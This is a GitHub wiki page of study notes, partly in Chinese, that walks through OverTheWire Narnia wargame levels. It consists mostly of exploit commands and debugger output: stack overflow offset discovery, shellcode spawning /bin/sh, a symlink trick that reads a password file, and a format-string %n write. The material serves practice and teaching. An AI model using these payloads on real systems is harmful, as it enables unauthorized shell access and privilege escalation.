-
Notifications
You must be signed in to change notification settings - Fork 0
Binary Exploitation
Sam Ku edited this page Jan 4, 2016
·
10 revisions
http://overthewire.org/wargames/
# local
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
# remote
narnia2@melinda:/narnia$ gdb ./narnia2 -q
Reading symbols from ./narnia2...(no debugging symbols found)...done.
(gdb) run `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"'`
Starting program: /games/narnia/narnia2 `python -c 'print "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag"'`
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
(gdb)
# local
/usr/share/metasploit-framework/tools/exploit# ./pattern_offset.rb 0x37654136
[*] Exact match at offset 140
# remote
(gdb) run `python -c 'print "A"*140+"B"*4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia2 `python -c 'print "A"*140+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
run `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x90"*62+"BBBB"'`
0xffffd810: 0x2f61696e 0x6e72616e 0x00326169 0x90909090
0xffffd820: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd830: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd840: 0x90909090 0x90909090 0x90909090 0xc0319090
0xffffd850: 0x2f2f6850 0x2f686873 0x896e6962 0x89c189e3
0xffffd860: 0xcd0bb0c2 0x40c03180 0x909080cd 0x90909090
0xffffd870: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd880: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd890: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd8a0: 0x90909090 0x90909090 0x42424242 0x47445800
run `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x90"*62+"\x20\xd8\xff\xff"'`
"\x20\xd8\xff\xff" doesn't work. "\x20" seems
(gdb) run `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x90"*62+"\x30\xd8\xff\xff"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia2 `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x90"*62+"\x30\xd8\xff\xff"'`
process 6865 is executing new program: /bin/dash
$ cat /etc/narnia_pass/narnia3
cat: /etc/narnia_pass/narnia3: Permission denied
narnia2@melinda:/narnia$ ./narnia2 `python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"+"\x90"*62+"\x30\xd8\xff\xff"'`
$ cat /etc/narnia_pass/narnia3
<ANSWER>
mkdir /tmp/h
cd /tmp/h
touch out
chmod 666 out
mkdir -p AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/tmp/h
ln -s /etc/narnia_pass/narnia4 $(python -c 'print "A"*32+"/tmp/h/out"')
/narnia/narnia3 `python -c 'print "A"*32+"/tmp/h/out"'`
cat out
<ANSWER>
narnia5@melinda:/narnia$ ./narnia5 `python -c 'print "\xfc\xd4\xff\xff"+"A"*464+"%x"*4+"%n"'`
Change i's value from 1 -> 500. GOOD
Stage 6 可以再講多一點,簡單的說,我們必須看一下 printf 的行為,printf 其中一個規格是可以使用 %n 來輸出目前輸出的位元組數目,例如說
printf("AAA %n BBB",&var);
上面的結果會把 4 寫入 var 當中 ("AAA " -> 4 bytes)
而在 narnia5.c 中,有使用到 vsnprintf,然後再使用 argv[1] 來當作 format 的參數,所以可以利用 %n 來改寫 i 的值,但是,下一個問題是,我要怎麼把讓他把 %n 寫到 i 裡面?
vsnprintf 內部的使用方式是使用傳遞多個參數,來填寫 format 參數的值,例如說:
vsnprintf(buf, sizeof(buf), "%d", 123);
format 變數的值是 "%d",所以他會在後面尋找一個整數,這邊的「後面」,事實上指的就是 stack; 而本身 vsnprintf 是可以吃變動參數的值的,他是使用 variadic 的方式,所以內部實作是使用 va_start, va_arg 來動態往後面抓變數的值。
所以,當我的 format 寫的是 "%x%x",他會去 stack 中往後找兩個 4 bytes 的值出來。
函式傳遞參數的方式也是透過 stack,所以概念上我可以使用 vsnprintf(buf, sizeof(buf), "AAAA%x%x%x%x%x");,
此時的情況為:
- buf 所指到的位置是 main 中放在 stack 的變數 buf[64]
- 而 vsnprintf 所收到的 buf、sizeof(buf)、"AAAA%x%x%x%x%x" 會放在 vsnprintf 的 stack
下面的圖可以比較清楚的描述整個情況

從上圖可以看出來,每一個 %x 會指向 vsnprintf 的下一個 stack 位址,所以如果我們一直多寫幾個 %x,就可以接到 buf[64] 的開頭。
- http://opensecuritytraining.info/IntroX86.html
- http://www.freebuf.com/news/special/60758.html (Python黑客学习笔记:从HelloWorld到编写PoC(中) )